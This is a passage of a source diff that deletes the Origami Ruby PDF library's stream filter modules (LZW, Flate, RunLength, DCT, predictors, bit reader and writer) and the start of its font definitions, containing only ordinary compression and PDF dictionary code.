- bit_value, length) - end - end - CCF = CCITTFax - - end - -end - diff -Nru origami-1.2.7/lib/origami/filters/crypt.rb origami-1.2.7+really0.7.4/lib/origami/filters/crypt.rb --- origami-1.2.7/lib/origami/filters/crypt.rb 2013-01-28 11:59:28.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/filters/crypt.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,47 +0,0 @@ -=begin - -= File - filters/crypt.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -module Origami - - module Filter - - # - # Class representing a Crypt Filter. - # TODO. - # - class Crypt - include Filter - - class DecodeParms < Dictionary - include StandardObject - - field :Type, :Type => Name, :Default => :Crypt - field :Name, :Type => Name, :Default => :Identity - end - end - - end -end - diff -Nru origami-1.2.7/lib/origami/filters/dct.rb origami-1.2.7+really0.7.4/lib/origami/filters/dct.rb --- origami-1.2.7/lib/origami/filters/dct.rb 2013-01-28 11:59:28.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/filters/dct.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,61 +0,0 @@ -=begin - -= File - filters/dct.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -module Origami - - module Filter - - # - # Class representing a Filter used to encode and decode data with DCT (JPEG) compression algorithm. - # - class DCT - include Filter - - class DecodeParms < Dictionary - include StandardObject - - field :ColorTransform, :Type => Integer - end - - def initialize(parameters = {}) - super(DecodeParms.new(parameters)) - end - - def encode(stream) - stream - end - - # - # DCTDecode implies that data is a JPEG image container. - # Just returns the raw JPEG image as is. - # - def decode(stream) - stream - end - end - - end -end - diff -Nru origami-1.2.7/lib/origami/filters/flate.rb origami-1.2.7+really0.7.4/lib/origami/filters/flate.rb --- origami-1.2.7/lib/origami/filters/flate.rb 2013-04-16 13:01:40.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/filters/flate.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,108 +0,0 @@ -=begin - -= File - filters/flate.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -require 'zlib' -require 'origami/filters/predictors' - -module Origami - - module Filter - - class InvalidFlateDataError < InvalidFilterDataError; end #:nodoc: - - # - # Class representing a Filter used to encode and decode data with zlib/Flate compression algorithm. - # - class Flate - include Filter - - EOD = 257 #:nodoc: - - class DecodeParms < Dictionary - include StandardObject - - field :Predictor, :Type => Integer, :Default => 1 - field :Colors, :Type => Integer, :Default => 1 - field :BitsPerComponent, :Type => Integer, :Default => 8 - field :Columns, :Type => Integer, :Default => 1 - end - - # - # Create a new Flate Filter. - # _parameters_:: A hash of filter options (ignored). - # - def initialize(parameters = {}) - super(DecodeParms.new(parameters)) - end - - # - # Encodes data using zlib/Deflate compression method. - # _stream_:: The data to encode. - # - def encode(stream) - if @params.Predictor.is_a?(Integer) - colors = @params.Colors.is_a?(Integer) ? @params.Colors.to_i : 1 - bpc = @params.BitsPerComponent.is_a?(Integer) ? @params.BitsPerComponent.to_i : 8 - columns = @params.Columns.is_a?(Integer) ? @params.Columns.to_i : 1 - - stream = Predictor.do_pre_prediction(stream, @params.Predictor.to_i, colors, bpc, columns) - end - - Zlib::Deflate.deflate(stream, Zlib::BEST_COMPRESSION) - end - - # - # Decodes data using zlib/Inflate decompression method. - # _stream_:: The data to decode. - # - def decode(stream) - - zlib_stream = Zlib::Inflate.new - begin - uncompressed = zlib_stream.inflate(stream) - rescue Zlib::DataError => zlib_except - uncompressed = zlib_stream.flush_next_out - - unless Origami::OPTIONS[:ignore_zlib_errors] - raise InvalidFlateDataError.new(zlib_except.message, uncompressed) - end - end - - if @params.Predictor.is_a?(Integer) - colors = @params.Colors.is_a?(Integer) ? @params.Colors.to_i : 1 - bpc = @params.BitsPerComponent.is_a?(Integer) ? @params.BitsPerComponent.to_i : 8 - columns = @params.Columns.is_a?(Integer) ? @params.Columns.to_i : 1 - - uncompressed = Predictor.do_post_prediction(uncompressed, @params.Predictor.to_i, colors, bpc, columns) - end - - uncompressed - end - - end - Fl = Flate - end -end - diff -Nru origami-1.2.7/lib/origami/filters/jbig2.rb origami-1.2.7+really0.7.4/lib/origami/filters/jbig2.rb --- origami-1.2.7/lib/origami/filters/jbig2.rb 2013-01-28 11:59:28.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/filters/jbig2.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,63 +0,0 @@ -=begin - -= File - filters/jbig2.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -module Origami - - module Filter - - # - # Class representing a Filter used to encode and decode data with JBIG2 compression algorithm. - # - class JBIG2 - include Filter - - class DecodeParms < Dictionary - include StandardObject - - field :JBIG2Globals, :Type => Stream - end - - def initialize(parameters = {}) - super(DecodeParms.new(parameters)) - end - - # - # Not supported. - # - def encode(stream) - raise NotImplementedError, "#{self.class} is not yet supported" - end - - # - # Not supported. - # - def decode(stream) - raise NotImplementedError, "#{self.class} is not yet supported" - end - end - - end -end - diff -Nru origami-1.2.7/lib/origami/filters/jpx.rb origami-1.2.7+really0.7.4/lib/origami/filters/jpx.rb --- origami-1.2.7/lib/origami/filters/jpx.rb 2013-01-28 11:59:28.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/filters/jpx.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,53 +0,0 @@ -=begin - -= File - filters/jpx.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -module Origami - - module Filter - - # - # Class representing a Filter used to encode and decode data with JPX compression algorithm. - # - class JPX - include Filter - - # - # Not supported. - # - def encode(stream) - raise NotImplementedError, "#{self.class} is not yet supported" - end - - # - # Not supported. - # - def decode(stream) - raise NotImplementedError, "#{self.class} is not yet supported" - end - end - - end -end - diff -Nru origami-1.2.7/lib/origami/filters/lzw.rb origami-1.2.7+really0.7.4/lib/origami/filters/lzw.rb --- origami-1.2.7/lib/origami/filters/lzw.rb 2013-01-28 11:59:28.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/filters/lzw.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,202 +0,0 @@ -=begin - -= File - filters/lzw.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -require 'origami/filters/predictors' - -module Origami - - module Filter - - class InvalidLZWDataError < InvalidFilterDataError #:nodoc: - end - - # - # Class representing a filter used to encode and decode data with LZW compression algorithm. - # - class LZW - - include Filter - - class DecodeParms < Dictionary - include StandardObject - - field :Predictor, :Type => Integer, :Default => 1 - field :Colors, :Type => Integer, :Default => 1 - field :BitsPerComponent, :Type => Integer, :Default => 8 - field :Columns, :Type => Integer, :Default => 1 - field :EarlyChange, :Type => Integer, :Default => 1 - end - - EOD = 257 #:nodoc: - CLEARTABLE = 256 #:nodoc: - - # - # Creates a new LZW Filter. - # _parameters_:: A hash of filter options (ignored). - # - def initialize(parameters = {}) - super(DecodeParms.new(parameters)) - end - - # - # Encodes given data using LZW compression method. - # _stream_:: The data to encode. - # - def encode(string) - if @params.Predictor.is_a?(Integer) - colors = @params.Colors.is_a?(Integer) ? @params.Colors.to_i : 1 - bpc = @params.BitsPerComponent.is_a?(Integer) ? @params.BitsPerComponent.to_i : 8 - columns = @params.Columns.is_a?(Integer) ? @params.Columns.to_i : 1 - - string = Predictor.do_pre_prediction(string, @params.Predictor.to_i, colors, bpc, columns) - end - - codesize = 9 - result = Utils::BitWriter.new - result.write(CLEARTABLE, codesize) - table = clear({}) - - s = '' - string.each_byte do |byte| - char = byte.chr - - case table.size - when 512 then codesize = 10 - when 1024 then codesize = 11 - when 2048 then codesize = 12 - when 4096 - result.write(CLEARTABLE, codesize) - codesize = 9 - clear table - redo - end - - it = s + char - if table.has_key?(it) - s = it - else - result.write(table[s], codesize) - table[it] = table.size - s = char - end - end - - result.write(table[s], codesize) - result.write(EOD, codesize) - - result.final.to_s - end - - # - # Decodes given data using LZW compression method. - # _stream_:: The data to decode. - # - def decode(string) - - result = "" - bstring = Utils::BitReader.new(string) - codesize = 9 - table = clear(Hash.new) - prevbyte = nil - - until bstring.eod? do - byte = bstring.read(codesize) - - case table.size - when 510 then codesize = 10 - when 1022 then codesize = 11 - when 2046 then codesize = 12 - when 4095 - if byte != CLEARTABLE - then - raise InvalidLZWDataError.new( - "LZW table is full and no clear flag was set (codeword #{byte.to_s(2).rjust(codesize,'0')} at bit #{bstring.pos - codesize}/#{bstring.size})", - result - ) - end - end - - if byte == CLEARTABLE - codesize = 9 - code = EOD - clear table - prevbyte = nil - redo - elsif byte == EOD - break - else - if prevbyte.nil? - prevbyte = byte - result << table.key(byte) - redo - else - raise InvalidLZWDataError.new( - "No entry for codeword #{prevbyte.to_s(2).rjust(codesize,'0')}.", - result - ) unless table.key(prevbyte) - - if table.has_value?(byte) - entry = table.key(byte) - else - entry = table.key(prevbyte) - entry += entry[0,1] - end - - result << entry - table[table.key(prevbyte) + entry[0,1]] = table.size - prevbyte = byte - end - end - end - - if @params.Predictor.is_a?(Integer) - colors = @params.Colors.is_a?(Integer) ? @params.Colors.to_i : 1 - bpc = @params.BitsPerComponent.is_a?(Integer) ? @params.BitsPerComponent.to_i : 8 - columns = @params.Columns.is_a?(Integer) ? @params.Columns.to_i : 1 - - result = Predictor.do_post_prediction(result, @params.Predictor.to_i, colors, bpc, columns) - end - - result - end - - private - - def clear(table) #:nodoc: - table.clear - 256.times do |i| - table[i.chr] = i - end - - table[CLEARTABLE] = CLEARTABLE - table[EOD] = EOD - - table - end - - end - end -end - diff -Nru origami-1.2.7/lib/origami/filters/predictors.rb origami-1.2.7+really0.7.4/lib/origami/filters/predictors.rb --- origami-1.2.7/lib/origami/filters/predictors.rb 2013-01-28 11:59:28.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/filters/predictors.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,276 +0,0 @@ -=begin - -= File - filters/predictors.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -module Origami - - module Filter - - class PredictorError < Exception #:nodoc: - end - - module Predictor - - NONE = 1 - TIFF = 2 - PNG_NONE = 10 - PNG_SUB = 11 - PNG_UP = 12 - PNG_AVERAGE = 13 - PNG_PAETH = 14 - PNG_OPTIMUM = 15 - - def self.do_pre_prediction(data, predictor = NONE, colors = 1, bpc = 8, columns = 1) - - return data if predictor == NONE - - unless (1..4) === colors.to_i - raise PredictorError, "Colors must be between 1 and 4" - end - - unless [1,2,4,8,16].include?(bpc.to_i) - raise PredictorError, "BitsPerComponent must be in 1, 2, 4, 8 or 16" - end - - # components per line - nvals = columns * colors - - # bytes per pixel - bpp = (colors * bpc + 7) >> 3 - - # bytes per row - bpr = (nvals * bpc + 7) >> 3 - - unless data.size % bpr == 0 - raise PredictorError, "Invalid data size #{data.size}, should be multiple of bpr=#{bpr}" - end - - if predictor == TIFF - do_tiff_pre_prediction(data, colors, bpc, columns) - elsif predictor >= 10 # PNG - do_png_pre_prediction(data, predictor, bpp, bpr) - else - raise PredictorError, "Unknown predictor : #{predictor}" - end - end - - def self.do_post_prediction(data, predictor = NONE, colors = 1, bpc = 8, columns = 1) - - return data if predictor == NONE - - unless (1..4) === colors - raise PredictorError, "Colors must be between 1 and 4" - end - - unless [1,2,4,8,16].include?(bpc) - raise PredictorError, "BitsPerComponent must be in 1, 2, 4, 8 or 16" - end - - # components per line - nvals = columns * colors - - # bytes per pixel - bpp = (colors * bpc + 7) >> 3 - - # bytes per row - bpr = ((nvals * bpc + 7) >> 3) + 1 - - if predictor == TIFF - do_tiff_post_prediction(data, colors, bpc, columns) - elsif predictor >= 10 # PNG - do_png_post_prediction(data, bpp, bpr) - else - raise PredictorError, "Unknown predictor : #{predictor}" - end - end - - def self.do_png_post_prediction(data, bpp, bpr) - - result = "" - uprow = "\0" * bpr - thisrow = "\0" * bpr - nrows = (data.size + bpr - 1) / bpr - - nrows.times do |irow| - - line = data[irow * bpr, bpr] - predictor = 10 + line[0].ord - line[0] = "\0" - - for i in (1..line.size-1) - up = uprow[i].ord - - if bpp > i - left = upleft = 0 - else - left = line[i-bpp].ord - upleft = uprow[i-bpp].ord - end - - case predictor - when PNG_NONE - thisrow = line - when PNG_SUB - thisrow[i] = ((line[i].ord + left) & 0xFF).chr - when PNG_UP - thisrow[i] = ((line[i].ord + up) & 0xFF).chr - when PNG_AVERAGE - thisrow[i] = ((line[i].ord + ((left + up) / 2)) & 0xFF).chr - when PNG_PAETH - p = left + up - upleft - pa, pb, pc = (p - left).abs, (p - up).abs, (p - upleft).abs - - thisrow[i] = ((line[i].ord + - case [ pa, pb, pc ].min - when pa then left - when pb then up - when pc then upleft - end - ) & 0xFF).chr - else - puts "Unknown PNG predictor : #{predictor}" - thisrow = line - end - - end - - result << thisrow[1..-1] - uprow = thisrow - end - - result - end - - def self.do_png_pre_prediction(data, predictor, bpp, bpr) - - result = "" - nrows = data.size / bpr - - line = "\0" + data[-bpr, bpr] - - (nrows-1).downto(0) do |irow| - - uprow = - if irow == 0 - "\0" * (bpr+1) - else - "\0" + data[(irow-1)*bpr,bpr] - end - - bpr.downto(1) do |i| - - up = uprow[i].ord - left = line[i-bpp].ord - upleft = uprow[i-bpp].ord - - case predictor - when PNG_SUB - line[i] = ((line[i].ord - left) & 0xFF).chr - when PNG_UP - line[i] = ((line[i].ord - up) & 0xFF).chr - when PNG_AVERAGE - line[i] = ((line[i].ord - ((left + up) / 2)) & 0xFF).chr - when PNG_PAETH - p = left + up - upleft - pa, pb, pc = (p - left).abs, (p - up).abs, (p - upleft).abs - - line[i] = ((line[i].ord - - case [ pa, pb, pc ].min - when pa then left - when pb then up - when pc then upleft - end - ) & 0xFF).chr - when PNG_NONE - else - raise PredictorError, "Unsupported PNG predictor : #{predictor}" - end - - end - - line[0] = (predictor - 10).chr - result = line + result - - line = uprow - end - - result - end - - def self.do_tiff_post_prediction(data, colors, bpc, columns) #:nodoc: - - bpr = (colors * bpc * columns + 7) >> 3 - nrows = data.size / bpr - bitmask = (1 << bpc) - 1 - result = Utils::BitWriter.new - - nrows.times do |irow| - line = Utils::BitReader.new(data[irow * bpr, bpr]) - - pixel = ::Array.new(colors, 0) - columns.times do - diffpixel = ::Array.new(colors) { line.read(bpc) } - pixel = pixel.zip(diffpixel).map!{|c, diff| (c + diff) & bitmask} - - pixel.each do |c| - result.write(c, bpc) - end - end - - result.final - end - - result.final.to_s - end - - def self.do_tiff_pre_prediction(data, colors, bpc, columns) #:nodoc: - - bpr = (colors * bpc * columns + 7) >> 3 - nrows = data.size / bpr - bitmask = (1 << bpc) - 1 - result = Utils::BitWriter.new - - nrows.times do |irow| - line = Utils::BitReader.new(data[irow * bpr, bpr]) - - diffpixel = ::Array.new(colors, 0) - columns.times do - pixel = ::Array.new(colors) { line.read(bpc) } - diffpixel = diffpixel.zip(pixel).map!{|diff, c| (c - diff) & bitmask} - - diffpixel.each do |c| - result.write(c, bpc) - end - end - - result.final - end - - result.final.to_s - end - end - - end -end - diff -Nru origami-1.2.7/lib/origami/filters/runlength.rb origami-1.2.7+really0.7.4/lib/origami/filters/runlength.rb --- origami-1.2.7/lib/origami/filters/runlength.rb 2013-01-28 11:59:28.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/filters/runlength.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,118 +0,0 @@ -=begin - -= File - filters/runlength.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -module Origami - - module Filter - - class InvalidRunLengthDataError < InvalidFilterDataError #:nodoc: - end - - # - # Class representing a Filter used to encode and decode data using RLE compression algorithm. - # - class RunLength - include Filter - - EOD = 128 #:nodoc: - - # - # Encodes data using RLE compression method. - # _stream_:: The data to encode. - # - def encode(stream) - - result = "" - i = 0 - - while i < stream.size - - # - # How many identical bytes coming? - # - length = 1 - while i+1 < stream.size and length < EOD and stream[i] == stream[i+1] - length = length + 1 - i = i + 1 - end - - # - # If more than 1, then compress them. - # - if length > 1 - result << (257 - length).chr << stream[i,1] - - # - # Otherwise how many different bytes to copy ? - # - else - j = i - while j+1 < stream.size and (j - i + 1) < EOD and stream[j] != stream[j+1] - j = j + 1 - end - - length = j - i - result << length.chr << stream[i, length+1] - - i = j - end - - i = i + 1 - end - - result << EOD.chr - end - - - # - # Decodes data using RLE decompression method. - # _stream_:: The data to decode. - # - def decode(stream) - raise InvalidRunLengthDataError, "No end marker" unless stream.include?(EOD.chr) - - i = 0 - result = "" - until stream[i].ord == EOD do - - length = stream[i].ord - if length < EOD - result << stream[i + 1, length + 1] - i = i + length + 2 - else - result << stream[i + 1,1] * (257 - length) - i = i + 2 - end - - end - - result - end - - end - RL = RunLength - end -end - diff -Nru origami-1.2.7/lib/origami/filters.rb origami-1.2.7+really0.7.4/lib/origami/filters.rb --- origami-1.2.7/lib/origami/filters.rb 2013-05-03 16:32:55.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/filters.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,342 +0,0 @@ -=begin - -= File - filters.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -module Origami - - # - # Filters are algorithms used to encode data into a PDF Stream. - # - module Filter - - class InvalidFilterDataError < Exception # :nodoc: - attr_reader :decoded_data - - def initialize(message, decoded_data = nil) - super(message) - - @decoded_data = decoded_data - end - end - - module Utils - - class BitWriterError < Exception #:nodoc: - end - - # - # Class used to forge a String from a stream of bits. - # Internally used by some filters. - # - class BitWriter - def initialize - @data = '' - @last_byte = nil - @ptr_bit = 0 - end - - # - # Writes _data_ represented as Fixnum to a _length_ number of bits. - # - def write(data, length) - return BitWriterError, "Invalid data length" unless length > 0 and (1 << length) > data - - # optimization for aligned byte writing - if length == 8 and @last_byte.nil? and @ptr_bit == 0 - @data << data.chr - return self - end - - while length > 0 - if length >= 8 - @ptr_bit - length -= 8 - @ptr_bit - @last_byte ||= 0 - @last_byte |= (data >> length) & ((1 << (8 - @ptr_bit)) - 1) - - data &= (1 << length) - 1 - @data << @last_byte.chr - @last_byte = nil - @ptr_bit = 0 - else - @last_byte ||= 0 - @last_byte |= (data & ((1 << length) - 1)) << (8 - @ptr_bit - length) - @ptr_bit += length - - if @ptr_bit == 8 - @data << @last_byte.chr - @last_byte = nil - @ptr_bit = 0 - end - - length = 0 - end - end - - self - end - - # - # Returns the data size in bits. - # - def size - (@data.size << 3) + @ptr_bit - end - - # - # Finalizes the stream. - # - def final - @data << @last_byte.chr if @last_byte - @last_byte = nil - @p = 0 - - self - end - - # - # Outputs the stream as a String. - # - def to_s - @data.dup - end - end - - class BitReaderError < Exception #:nodoc: - end - - # - # Class used to read a String as a stream of bits. - # Internally used by some filters. - # - class BitReader - BRUIJIN_TABLE = ::Array.new(32) - BRUIJIN_TABLE.size.times { |i| - BRUIJIN_TABLE[((0x77cb531 * (1 << i)) >> 27) & 31] = i - } - - def initialize(data) - @data = data - reset - end - - # - # Resets the read pointer. - # - def reset - @ptr_byte, @ptr_bit = 0, 0 - self - end - - # - # Returns true if end of data has been reached. - # - def eod? - @ptr_byte >= @data.size - end - - # - # Returns the read pointer position in bits. - # - def pos - (@ptr_byte << 3) + @ptr_bit - end - - # - # Returns the data size in bits. - # - def size - @data.size << 3 - end - - # - # Sets the read pointer position in bits. - # - def pos=(bits) - raise BitReaderError, "Pointer position out of data" if bits > self.size - - pbyte = bits >> 3 - pbit = bits - (pbyte << 3) - @ptr_byte, @ptr_bit = pbyte, pbit - - bits - end - - # - # Reads _length_ bits as a Fixnum and advances read pointer. - # - def read(length) - n = self.peek(length) - self.pos += length - - n - end - - # - # Reads _length_ bits as a Fixnum. Does not advance read pointer. - # - def peek(length) - return BitReaderError, "Invalid read length" unless length > 0 - return BitReaderError, "Insufficient data" if self.pos + length > self.size - - n = 0 - ptr_byte, ptr_bit = @ptr_byte, @ptr_bit - - while length > 0 - byte = @data[ptr_byte].ord - - if length > 8 - ptr_bit - length -= 8 - ptr_bit - n |= ( byte & ((1 << (8 - ptr_bit)) - 1) ) << length - - ptr_byte += 1 - ptr_bit = 0 - else - n |= (byte >> (8 - ptr_bit - length)) & ((1 << length) - 1) - length = 0 - end - end - - n - end - - # - # Used for bit scanning. - # Counts leading zeros. Does not advance read pointer. - # - def clz - count = 0 - if @ptr_bit != 0 - bits = peek(8 - @ptr_bit) - count = clz32(bits << (32 - (8 - @ptr_bit))) - - return count if count < (8 - @ptr_bit) - end - - delta = 0 - while @data.size > @ptr_byte + delta * 4 - word = @data[@ptr_byte + delta * 4, 4] # next 32 bits - z = clz32((word << (4 - word.size)).unpack("N")[0]) - - count += z - delta += 1 - - return count if z < 32 - ((4 - word.size) << 3) - end - - count - end - - # - # Used for bit scanning. - # Count leading ones. Does not advance read pointer. - # - def clo - count = 0 - if @ptr_bit != 0 - bits = peek(8 - @ptr_bit) - count = clz32(~(bits << (32 - (8 - @ptr_bit))) & 0xff) - - return count if count < (8 - @ptr_bit) - end - - delta = 0 - while @data.size > @ptr_byte + delta * 4 - word = @data[@ptr_byte + delta * 4, 4] # next 32 bits - z = clz32(~((word << (4 - word.size)).unpack("N")[0]) & 0xffff_ffff) - - count += z - delta += 1 - - return count if z < 32 - ((4 - word.size) << 3) - end - - count - end - - private - - def bitswap8(i) #:nodoc - ((i * 0x0202020202) & 0x010884422010) % 1023 - end - - def bitswap32(i) #:nodoc: - (bitswap8((i >> 0) & 0xff) << 24) | - (bitswap8((i >> 8) & 0xff) << 16) | - (bitswap8((i >> 16) & 0xff) << 8) | - (bitswap8((i >> 24) & 0xff) << 0) - end - - def ctz32(i) #:nodoc: - if i == 0 then 32 - else - BRUIJIN_TABLE[(((i & -i) * 0x77cb531) >> 27) & 31] - end - end - - def clz32(i) #:nodoc: - ctz32 bitswap32 i - end - end - end - - module ClassMethods - # - # Decodes the given data. - # _stream_:: The data to decode. - # - def decode(stream, params = {}) - self.new(params).decode(stream) - end - - # - # Encodes the given data. - # _stream_:: The data to encode. - # - def encode(stream, params = {}) - self.new(params).encode(stream) - end - end - - def initialize(parameters = {}) - @params = parameters - end - - def self.included(receiver) - receiver.extend(ClassMethods) - end - - end - -end - -require 'origami/filters/ascii' -require 'origami/filters/lzw' -require 'origami/filters/flate' -require 'origami/filters/runlength' -require 'origami/filters/ccitt' -require 'origami/filters/dct' -require 'origami/filters/jbig2' -require 'origami/filters/jpx' -require 'origami/filters/crypt' - diff -Nru origami-1.2.7/lib/origami/font.rb origami-1.2.7+really0.7.4/lib/origami/font.rb --- origami-1.2.7/lib/origami/font.rb 2013-05-07 15:08:46.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/font.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,209 +0,0 @@ -=begin - -= File - font.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -module Origami - - # - # Embedded font stream. - # - class FontStream < Stream - - field :Subtype, :Type => Name - field :Length1, :Type => Integer - field :Length2, :Type => Integer - field :Length3, :Type => Integer - - end - - # - # Class representing a font details in a document. - # - class FontDescriptor < Dictionary - - include StandardObject - - FIXEDPITCH = 1 << 1 - SERIF = 1 << 2 - SYMBOLIC = 1 << 3 - SCRIPT = 1 << 4 - NONSYMBOLIC = 1 << 6 - ITALIC = 1 << 7 - ALLCAP = 1 << 17 - SMALLCAP = 1 << 18 - FORCEBOLD = 1 << 19 - - field :Type, :Type => Name, :Default => :FontDescriptor, :Required => true - field :FontName, :Type => Name, :Required => true - field :FontFamily, :Type => ByteString, :Version => "1.5" - field :FontStretch, :Type => Name, :Default => :Normal, :Version => "1.5" - field :FontWeight, :Type => Integer, :Default => 400, :Version => "1.5" - field :Flags, :Type => Integer, :Required => true - field :FontBBox, :Type => Array - field :ItalicAngle, :Type => Number, :Required => true - field :Ascent, :Type => Number - field :Descent, :Type => Number - field :Leading, :Type => Number, :Default => 0 - field :CapHeight, :Type => Number - field :XHeight, :Type => Number, :Default => 0 - field :StemV, :Type => Number - field :StemH, :Type => Number, :Default => 0 - field :AvgWidth, :Type => Number, :Default => 0 - field :MaxWidth, :Type => Number, :Default => 0 - field :MissingWidth, :Type => Number, :Default => 0 - field :FontFile, :Type => FontStream - field :FontFile2, :Type => FontStream, :Version => "1.1" - field :FontFile3, :Type => FontStream, :Version => "1.2" - field :CharSet, :Type => ByteString, :Version => "1.1" - - end - - # - # Class representing a character encoding in a document. - # - class Encoding < Dictionary - - include StandardObject - - field :Type, :Type => Name, :Default => :Encoding - field :BaseEncoding, :Type => Name - field :Differences, :Type => Array - - end - - # - # Class representing a rendering font in a document. - # - class Font < Dictionary - - include StandardObject - - field :Type, :Type => Name, :Default => :Font, :Required => true - field :Subtype, :Type => Name, :Required => true - field :Name, :Type => Name - field :FirstChar, :Type => Integer - field :LastChar, :Type => Integer - field :Widths, :Type => Array - field :FontDescriptor, :Type => FontDescriptor - field :Encoding, :Type => [ Name, Encoding ], :Default => :MacRomanEncoding - field :ToUnicode, :Type => Stream, :Version => "1.2" - - # TODO: Type0 and CID Fonts - - # - # Type1 Fonts. - # - class Type1 < Font - - 